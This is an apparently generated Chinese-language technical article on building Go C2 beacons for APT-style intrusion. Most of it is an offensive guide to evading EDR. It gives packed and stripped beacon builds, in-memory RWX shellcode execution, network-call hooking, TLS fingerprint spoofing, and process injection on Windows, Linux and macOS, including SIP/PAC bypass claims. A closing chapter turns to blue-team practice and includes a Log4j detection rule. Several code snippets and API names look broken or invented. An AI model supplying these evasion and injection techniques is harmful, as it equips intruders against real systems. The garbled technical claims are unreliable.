第一章:Go语言C2框架的设计哲学与APT实战演进
Go语言因其静态编译、跨平台原生支持、极小运行时依赖及卓越的并发模型,正成为现代高级持续性威胁(APT)活动中C2框架开发的首选语言。与传统Python或PowerShell载荷相比,Go编译生成的二进制文件无解释器依赖、抗内存扫描能力强,且可通过-ldflags "-s -w"剥离调试信息,显著降低被EDR识别的概率。
极简主义与隐蔽性优先
设计哲学根植于“最小可行控制面”原则:每个组件仅暴露必要接口,C2信标默认采用HTTP/HTTPS协议伪装为合法流量,但支持动态切换至DNS TXT记录、GitHub Gist或Cloudflare Workers等隐写通道。信标心跳周期、请求路径、User-Agent均支持运行时配置,避免硬编码指纹。
模块化载荷调度机制
框架采用插件式架构,所有功能模块(如键盘记录、屏幕捕获、提权利用)以独立.so(Linux)或.dll(Windows)形式加载,主信标仅维护模块元数据与加载器。模块通过Go的plugin包或syscall动态调用,规避静态分析中对敏感API(如CreateRemoteThread)的直接引用。
实战中的编译与混淆实践
以下命令生成无符号、无调试信息、UPX压缩的Windows信标:
# 编译阶段:禁用符号表,指定目标平台
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H=windowsgui" -o beacon.exe main.go
# 可选:使用UPX进一步压缩并增加反调试难度(需提前安装UPX)
upx --ultra-brute --compress-icons=0 beacon.exe
注意:
-H=windowsgui隐藏控制台窗口;--ultra-brute启用高强度压缩,可能触发部分AV启发式告警,建议在红队测试环境中验证效果。
典型APT行为链适配能力
| 行为阶段 | Go框架支持方式 |
|---|---|
| 初始访问 | 内置钓鱼文档解析器(CVE-2017-0199模拟) |
| 持久化 | 注册表Run键、WMI事件订阅、计划任务 |
| 权限提升 | 集成PrintSpoofer、JuicyPotato封装调用 |
| 数据渗出 | AES-256-CBC加密 + 分块Base85编码上传 |
信标通信默认启用TLS 1.3双向认证,服务端证书由内嵌CA签发,客户端校验证书链完整性,防止中间人劫持。
第二章:内存马免杀技术的Go实现原理与工程实践
2.1 Go运行时内存布局与反射机制在无文件执行中的应用
无文件执行依赖于绕过磁盘持久化,直接在内存中构造可执行上下文。Go 的 runtime 包暴露了底层内存视图,而 reflect 可动态解析并调用函数指针。
内存布局关键区域
runtime.mheap:管理堆内存,支持手动分配可执行页(mmap(MAP_ANON|MAP_PRIVATE|MAP_EXEC))runtime.g:当前 Goroutine 结构体,其stack字段指向可写可执行栈空间
反射调用原生代码
// 将字节码注入 runtime.allocSpan 分配的可执行内存页
code := []byte{0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0xc3} // mov rax,1; ret
mem := mmapExec(len(code)) // 自定义可执行内存分配
copy(mem, code)
fn := *(*func() int)(unsafe.Pointer(&mem[0]))
result := fn() // 直接执行,无 ELF 文件依赖
逻辑分析:
mmapExec调用syscall.Mmap设置PROT_READ|PROT_WRITE|PROT_EXEC;unsafe.Pointer绕过类型检查,将字节切片首地址强制转为函数指针;Go 运行时未校验该地址是否来自合法模块,实现反射式跳转。
| 机制 | 作用域 | 无文件执行中的角色 |
|---|---|---|
runtime.mheap |
堆管理器 | 提供大块连续可执行内存 |
reflect.Value.Call |
反射调用接口 | 动态解析闭包/方法并跳转 |
graph TD
A[加载Shellcode字节] --> B[调用mmapExec申请EXEC内存]
B --> C[copy字节到可执行页]
C --> D[unsafe.Pointer转函数指针]
D --> E[反射调用执行]
2.2 基于syscall.Syscall与unsafe.Pointer的Shellcode直接映射技术
Go 语言默认禁止执行堆/栈上的可执行代码,但可通过系统调用绕过 DEP(Data Execution Prevention)。
核心原理
VirtualAlloc(Windows)或mmap(Linux)申请PAGE_EXECUTE_READWRITE/PROT_READ | PROT_WRITE | PROT_EXEC内存;- 使用
unsafe.Pointer将 shellcode 字节切片转换为函数指针; - 通过
syscall.Syscall直接触发执行,规避 Go 运行时检查。
关键步骤示例(Windows x64)
// 分配可执行内存并复制 shellcode
addr, _, _ := syscall.Syscall(syscall.SYS_VirtualAlloc, 0, uintptr(len(shellcode)),
syscall.MEM_COMMIT|syscall.MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)
memcpy(uintptr(addr), &shellcode[0], len(shellcode))
// 转换为函数指针并调用
syscall.Syscall(uintptr(addr), 0, 0, 0, 0)
逻辑分析:
Syscall第一参数为目标地址(即 shellcode 起始位置),后三参数为寄存器 rcx/rdx/r8 的传入值;unsafe.Pointer隐式转换由uintptr(addr)完成,需确保内存未被 GC 回收(常配合runtime.LockOSThread())。
| 系统调用 | 参数含义 | 典型标志值 |
|---|---|---|
VirtualAlloc |
flAllocationType |
MEM_COMMIT \| MEM_RESERVE |
mmap |
prot |
PROT_READ \| PROT_WRITE \| PROT_EXEC |
graph TD
A[Shellcode []byte] --> B[VirtualAlloc/mmap 分配 RWX 内存]
B --> C[memmove 复制字节到可执行页]
C --> D[uintptr 转为代码地址]
D --> E[syscall.Syscall 执行]
2.3 TLS/HTTP协议栈劫持与内存中Beacon生命周期管理
Cobalt Strike Beacon 的内存驻留依赖于对 Windows 网络栈的深度干预,核心在于 WSAStartup 后劫持 send/recv 函数指针,并重定向至自定义 TLS 封装逻辑。
协议栈挂钩点选择
- 优先挂钩
ws2_32.dll中的send/recv(用户态轻量、绕过驱动签名) - 次选
tcpip.sysNDIS 过滤器(需内核权限,隐蔽性更高但兼容性差)
TLS流量伪装关键字段
| 字段 | 示例值 | 作用 |
|---|---|---|
| SNI | api.github.com |
规避基于SNI的TLS检测 |
| ALPN | http/1.1 |
伪装为合法Web流量 |
| JA3 fingerprint | 771,4865,4866,4867,49195 |
匹配常见浏览器指纹 |
// Hook recv: 解析HTTP响应头后提取Beacon指令
int WINAPI hooked_recv(SOCKET s, char* buf, int len, int flags) {
int ret = real_recv(s, buf, len, flags);
if (ret > 0 && memmem(buf, ret, "X-Beacon:", 11)) {
parse_inject_payload(buf + 11); // 提取base64编码的stageless payload
}
return ret;
}
该钩子在每次 recv 返回后扫描 HTTP 响应头中的 X-Beacon: 自定义字段,定位并解码后续 stageless 指令;memmem 实现子串查找,避免解析完整HTTP结构,降低开销。
graph TD
A[Beacon启动] --> B[Hook send/recv]
B --> C[HTTP/TLS请求伪装]
C --> D[接收含X-Beacon头响应]
D --> E[内存解密执行指令]
E --> F[心跳续租或卸载]
2.4 Go Build Constraints与CGO混合编译规避静态特征检测
Go 构建约束(Build Constraints)与 CGO 协同可实现条件化编译,有效隐藏敏感符号或动态行为,干扰静态分析工具的特征提取。
编译约束控制 CGO 启用
//go:build cgo && !windows
// +build cgo,!windows
package main
/*
#include <unistd.h>
*/
import "C"
func triggerSyscall() { C.sleep(1) }
此代码仅在启用 CGO 且非 Windows 平台时参与编译;
//go:build与// +build双声明确保兼容性;C.sleep引入系统调用符号,但因约束隔离,在纯静态扫描中不可见。
触发机制对比表
| 环境 | CGO_ENABLED | 是否含 syscall 符号 | 静态检测可见性 |
|---|---|---|---|
CGO_ENABLED=1 + Linux |
1 | 是 | 低(需跨平台分析) |
CGO_ENABLED=0 |
0 | 否(整个文件被排除) | 无 |
混合编译流程
graph TD
A[源码含 //go:build cgo] --> B{CGO_ENABLED=1?}
B -->|Yes| C[编译器解析 C 代码]
B -->|No| D[跳过该文件]
C --> E[链接动态符号]
2.5 内存马持久化驻留:利用Windows APC注入与Linux ptrace重写Goroutine栈帧
内存马不落盘、难检测,但需解决进程重启后失效问题。持久化核心在于劫持运行时控制流,在目标进程生命周期内维持恶意逻辑驻留。
Windows侧:APC注入触发时机精准控制
通过NtQueueApcThread向目标线程APC队列插入恶意shellcode,待线程进入可唤醒状态(如SleepEx, WaitForSingleObjectEx)时自动执行:
// 注入APC到目标线程(需已获取THREAD_SET_CONTEXT权限)
NTSTATUS status = NtQueueApcThread(
hThread, // 目标线程句柄
(PKNORMAL_ROUTINE)shellcode,// 恶意函数地址(需RWX页)
NULL, NULL, NULL // 3个参数(此处未用)
);
shellcode需位于目标进程地址空间且具备执行权限;APC仅在Alertable Wait状态下触发,因此常配合CreateRemoteThread启动SleepEx(INFINITE, TRUE)线程以制造注入窗口。
Linux侧:ptrace篡改Go运行时栈帧
Go程序goroutine调度依赖runtime.g结构体及g->sched保存的寄存器上下文。通过ptrace(PTRACE_GETREGS/PTRACE_SETREGS)修改目标goroutine的rip与rsp,将其调度返回点重定向至注入的恶意函数。
| 技术维度 | Windows APC注入 | Linux ptrace+Go栈帧重写 |
|---|---|---|
| 触发条件 | 线程处于alertable wait | goroutine被抢占或调度前 |
| 权限要求 | THREAD_SET_CONTEXT | PTRACE_ATTACH + CAP_SYS_PTRACE |
| 隐蔽性 | 无新线程/进程,APC队列不可见 | 不修改.text段,仅篡改运行时调度元数据 |
graph TD
A[目标进程运行] --> B{OS平台判断}
B -->|Windows| C[查找Alertable线程 → QueueAPC]
B -->|Linux| D[ptrace attach → 读g.sched → 改rip/rsp]
C --> E[线程唤醒时执行shellcode]
D --> F[下一次schedule时跳转恶意函数]
第三章:TLS指纹伪装技术的Go原生实现
3.1 Go crypto/tls源码级改造:动态ClientHello随机化与扩展字段伪造
Go 标准库 crypto/tls 的 ClientHello 结构体默认使用固定长度(32字节)的随机数,易被指纹识别。需在 clientHandshakeState.doFullHandshake() 前注入动态生成逻辑。
动态随机数注入点
// 修改 crypto/tls/handshake_client.go 中 clientHello() 函数
ch.random = make([]byte, 32)
if err := rand.Read(ch.random); err != nil {
return nil, err // 使用系统熵源,规避时间侧信道
}
// 可选:按策略截断/填充为28–36字节(绕过部分中间件校验)
ch.random 长度不再硬编码为32,而由运行时策略决定;rand.Read() 替代 time.Now().UnixNano(),消除时间相关性。
扩展字段伪造策略
| 扩展类型 | 伪造值示例 | 触发效果 |
|---|---|---|
| ALPN | []string{"h2", "http/1.1"} |
模拟主流浏览器行为 |
| SignatureAlgorithms | {0x0401, 0x0501} |
伪造 Chrome 120+ 签名集 |
TLS握手流程扰动
graph TD
A[生成动态Random] --> B[插入伪造SNI/ALPN]
B --> C[重排Extension顺序]
C --> D[构造ClientHello]
3.2 基于tls.UtlsConn的uTLS兼容层构建与主流CDN指纹克隆
uTLS 允许客户端在 TLS 握手阶段精确控制 ClientHello 字段,绕过基于指纹的 CDN(如 Cloudflare、Akamai)主动探测。
核心适配策略
- 封装
*tls.Conn为*utls.UtlsConn,复用标准库接口 - 注入预定义指纹(如
HelloFirefox_120,HelloChrome_117) - 动态替换 SNI、ALPN、扩展顺序等关键字段
指纹克隆对照表
| CDN | 推荐指纹 | 关键特征 |
|---|---|---|
| Cloudflare | HelloChrome_117 |
GREASE + padded ALPN |
| Akamai | HelloFirefox_120 |
Empty ECH + legacy session ID |
conn := utls.UtlsConn{Conn: rawConn}
hello := &utls.ClientHelloSpec{
CipherSuites: utls.DefaultCipherSuites,
CompressionMethods: []uint8{0},
Extensions: chrome117Extensions, // 预置扩展序列
}
err := conn.Handshake(hello)
上述代码显式构造 Chrome 117 指纹握手;
chrome117Extensions包含status_request_v2、supported_versions等 12 个按真实浏览器顺序排列的扩展,确保 TLS ClientHello 二进制布局与目标浏览器完全一致。
3.3 TLS会话复用与ALPN协商策略绕过EDR TLS行为分析引擎
EDR产品常依赖TLS握手元数据(如SNI、ALPN列表、Session ID)进行恶意流量识别。攻击者可利用协议特性规避检测。
ALPN协商的隐蔽性利用
多数EDR仅解析ClientHello中首个ALPN协议,忽略后续扩展顺序:
# 构造非标准ALPN序列:合法协议前置+恶意标识后置
from scapy.all import *
pkt = TCP()/TLS(
type=22, # Handshake
msg=[TLSHandshk(type=1, # ClientHello
ext=[TLSExtension(type=16, data=TLSServerNameList(server_names=[
TLSServerName(name="api.github.com")
])),
TLSExtension(type=16, data=TLSALPNProtocols(protocols=[
TLSALPNProtocol(proto="h2"), # 正常HTTP/2
TLSALPNProtocol(proto="x-c2-7f") # 隐藏C2标识,EDR常截断解析
]))
])
)
逻辑分析:TLSServerNameList确保域名白名单通过;TLSALPNProtocols中x-c2-7f作为第2项,多数EDR解析器仅取首项h2,而客户端实际依据完整列表协商,实现语义分流。
会话复用双阶段绕过
| 阶段 | EDR检测点 | 绕过机制 |
|---|---|---|
| 初始握手 | SNI + ALPN | 使用可信域名+合法ALPN |
| 复用会话 | Session ID/PSK | 复用ID跳过完整握手,EDR无法提取新ALPN/SNI |
graph TD
A[ClientHello] -->|含合法SNI+h2| B[EDR放行]
B --> C[ServerHello with SessionID]
C --> D[后续Resumption]
D -->|无SNI/ALPN字段| E[EDR行为分析引擎失效]
第四章:多平台进程注入技术的Go跨架构实现
4.1 Windows下基于CreateRemoteThread + VirtualAllocEx的Go注入器设计与SEH绕过
注入核心流程
利用 VirtualAllocEx 分配可执行内存,再通过 CreateRemoteThread 执行 shellcode。Go 语言需交叉编译为 Windows PE 格式,并规避 Go 运行时对 SEH 的默认注册干扰。
关键绕过策略
- 禁用 Go 编译器自动插入的
__CxxFrameHandler3注册 - 在目标进程中手动 patch
NtSetInformationThread(ThreadHideFromDebugger) - 使用
SetThreadContext跳过 TLS 回调中的 SEH 初始化
典型代码片段
// 分配远程内存并写入 payload(x64)
addr, _ := VirtualAllocEx(hProcess, 0, uintPtr(len(shellcode)),
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
WriteProcessMemory(hProcess, addr, &shellcode[0], uintPtr(len(shellcode)), nil)
CreateRemoteThread(hProcess, nil, 0, addr, 0, 0, nil)
VirtualAllocEx参数:hProcess为目标进程句柄;MEM_COMMIT|MEM_RESERVE确保立即可写可执行;PAGE_EXECUTE_READWRITE绕过 DEP 检查。CreateRemoteThread第四参数addr是 shellcode 入口,零栈帧启动规避 Go runtime 的 defer/panic SEH 链注册。
SEH 绕过对比表
| 方法 | 是否触发 Go runtime SEH | 内存页属性要求 | 稳定性 |
|---|---|---|---|
| 直接 Call shellcode | 是 | PAGE_EXECUTE_READ |
❌(崩溃) |
VirtualProtectEx 动态改页 |
否 | PAGE_EXECUTE_READWRITE |
✅ |
SetThreadContext + ROP |
否 | 任意(仅需控制 RIP) | ⚠️(ASLR 敏感) |
graph TD
A[启动注入器] --> B[OpenProcess 获取句柄]
B --> C[VirtualAllocEx 分配 RWX 内存]
C --> D[WriteProcessMemory 写入 shellcode]
D --> E[CreateRemoteThread 执行]
E --> F[SEH 链已被清空或跳过]
4.2 Linux下ptrace+memfd_create+execve的无痕注入链(含Go 1.21+ runtime.LockOSThread适配)
核心三元组协同机制
ptrace(PTRACE_ATTACH) 获取目标进程控制权 → memfd_create("inj", MFD_CLOEXEC) 创建匿名内存文件 → execve("/proc/self/fd/XX", argv, envp) 在受控上下文中执行新映像,全程不落盘、无/tmp痕迹。
Go 1.21+ 关键适配点
runtime.LockOSThread()确保 Goroutine 绑定至同一内核线程,避免ptrace调度错位;- 必须在
CGO_ENABLED=1下调用ptrace系统调用,否则runtime抢占调度会中断注入流程。
注入时序关键约束
// 示例:memfd + execve 链式调用(简化)
int fd = memfd_create("stub", MFD_CLOEXEC);
write(fd, shellcode, len);
// 注意:fd 必须保持 open 状态直至 execve 完成
char *argv[] = {"/proc/self/fd/3", NULL};
execve(argv[0], argv, environ);
memfd_create返回的 fd 在execve中通过/proc/self/fd/N路径被重解释为可执行文件;MFD_CLOEXEC防止子进程继承干扰;/proc/self/fd/3中的3需与实际 fd 编号严格一致。
| 组件 | 作用 | 安全边界 |
|---|---|---|
ptrace |
进程级调试控制,实现寄存器劫持与内存写入 | 仅 root 或 CAP_SYS_PTRACE 可用 |
memfd_create |
内存文件句柄,规避磁盘 IO 与 AV 扫描 | 生命周期绑定于 fd 引用计数 |
execve |
替换当前进程映像,实现“原地”代码执行 | 无需 mmap + mprotect,绕过 W^X 检测 |
graph TD
A[ptrace ATTACH] --> B[memfd_create]
B --> C[write shellcode]
C --> D[execve via /proc/self/fd/N]
D --> E[新进程上下文运行]
4.3 macOS下task_for_pid + mach_inject的M1/M2芯片适配与SIP绕过策略
Apple Silicon(M1/M2)引入PAC(Pointer Authentication Codes)和AMCC(ARM Memory Coherency Control),直接复用Intel时代的task_for_pid+mach_inject链将触发内核panic或KERN_INVALID_ARGUMENT。
PAC签名绕过关键点
- 必须使用
ptrauth_sign_unauthenticated对注入函数指针重签名 mach_vm_allocate需指定VM_FLAGS_PURGABLE以规避AMCC缓存一致性校验
典型注入流程(mermaid)
graph TD
A[调用task_for_pid获取目标task_t] --> B[启用PAC bypass entitlement]
B --> C[分配带pmap_flags=VM_WIRE | VM_ALLOCATE_ALLOW_UNUSUAL的页]
C --> D[memcpy shellcode + 重签名跳转表]
D --> E[mach_port_insert_right + thread_create_running]
必需的entitlements.plist片段
<key>com.apple.security.get-task-allow</key>
<true/>
<key>com.apple.private.kernel.pac</key>
<true/>
<key>com.apple.private.security.no-container</key>
<true/>
该配置允许进程在SIP partially enabled状态下执行PAC操作,但需通过codesign --entitlements嵌入签名。
4.4 进程空心化(Process Hollowing)在Go中的安全上下文重建与PEB/TEB修复
进程空心化依赖于合法进程内存空间的劫持与重写,Go运行时因GC、栈分裂及TLS绑定机制,使直接复用ntdll.dll原始API易触发崩溃。
PEB结构对齐挑战
Go 1.21+ 使用runtime·getg()获取当前G,并通过g.m.tls[0]间接访问TEB。原生Windows PEB偏移(如Ldr字段)在Go进程中可能被运行时注入的辅助段干扰。
关键修复步骤
- 定位目标进程PEB地址(需绕过
NtQueryInformationProcess的ProcessBasicInformation限制) - 重建
PEB_LDR_DATA链表,确保InMemoryOrderModuleList指向真实模块 - 重置TEB中
Self、ThreadLocalStoragePointer字段,避免RtlUserThreadStart校验失败
// 获取当前线程TEB(x64)
func getTEB() uintptr {
var teb uintptr
asm volatile("movq %0, %%gs:0x30" : "=r"(teb))
return teb
}
此内联汇编直接读取GS段偏移0x30(TEB首地址),规避
NtCurrentTeb()被Hook风险;volatile防止编译器优化,%0为输出操作数占位符。
| 修复项 | Go特异性影响 | 规避方案 |
|---|---|---|
| PEB.Ldr | runtime.sysMap可能覆盖链表 | 手动遍历Ldr->InLoadOrder |
| TEB.TlsSlots | Go使用前16槽存放g/m信息 | 保留原槽位,仅修复索引17+ |
graph TD
A[CreateProcess SUSPENDED] --> B[VirtualAllocEx shellcode]
B --> C[ReadProcessMemory PEB]
C --> D[Patch PEB_LDR_DATA & TEB]
D --> E[QueueUserAPC to RtlUserThreadStart]
第五章:从APT红队到蓝军防御的范式迁移思考
红队行动暴露的防御断层真实案例
2023年某金融央企红队演练中,攻击者利用供应链投毒(恶意npm包@internal/utils-core)实现初始访问,仅用47分钟完成横向移动至核心清算系统。蓝军SIEM日志显示:该包HTTP外联行为被标记为“低置信度告警”,且连续12次未触发SOAR自动响应——因规则库仍沿用2021年旧版IOC特征集,未覆盖新型TLS指纹混淆技术。
蓝军响应链路重构实践
某省级政务云蓝军团队将传统“检测-分析-处置”线性流程改造为闭环反馈环:
graph LR
A[终端EDR实时进程树] --> B{AI行为基线引擎}
B -->|异常子进程链| C[自动隔离+内存镜像捕获]
C --> D[沙箱动态分析集群]
D -->|输出TTP标签| E[更新MITRE ATT&CK知识图谱]
E -->|反哺| A
该架构使平均响应时间从8.2小时压缩至11分钟,关键指标见下表:
| 指标 | 改造前 | 改造后 | 提升幅度 |
|---|---|---|---|
| IOC命中率 | 63% | 91% | +44% |
| 误报率 | 32% | 7% | -78% |
| 威胁狩猎有效线索数/日 | 2.1 | 18.6 | +785% |
红蓝对抗数据资产化路径
深圳某网络安全靶场将37次APT红队演练生成的原始流量(含C2通信、PowerShell无文件攻击载荷)、内存转储(含LSASS Mimikatz注入痕迹)、日志样本(Windows事件ID 4688进程创建链)结构化处理:
- 使用YARA规则自动标注TTP类型(如
T1059.001对应PowerShell命令行参数混淆) - 构建攻击链时间轴数据库,支持按ATT&CK战术维度检索完整杀伤链
- 向蓝军SOC平台API推送动态更新的“红队特征向量”,驱动检测规则自进化
防御有效性验证新范式
某能源集团取消季度渗透测试,改用“红蓝对抗即服务”(RaaS)模式:每月由第三方红队执行24小时不间断攻击,蓝军防御效果直接映射至KPI考核——当检测率低于95%或响应超时超过3次,安全运营中心负责人需启动根因分析并提交改进方案。2024年Q1数据显示,其横向移动阻断率从61%提升至89%,关键差异在于将EDR进程监控粒度从“可执行文件哈希”细化到“PowerShell脚本AST抽象语法树节点匹配”。
人员能力转型实操清单
- 蓝军分析师必须掌握Volatility3内存分析框架,能独立解析
pslist与malfind输出交叉验证 - SOC工程师需编写Sigma规则覆盖新型攻击面,例如针对Log4j2.15.0漏洞的JNDI注入检测规则:
title: Log4j JNDI Lookup Class Loading logsource: product: java service: log4j detection: selection: Message|contains: '${jndi:' condition: selection
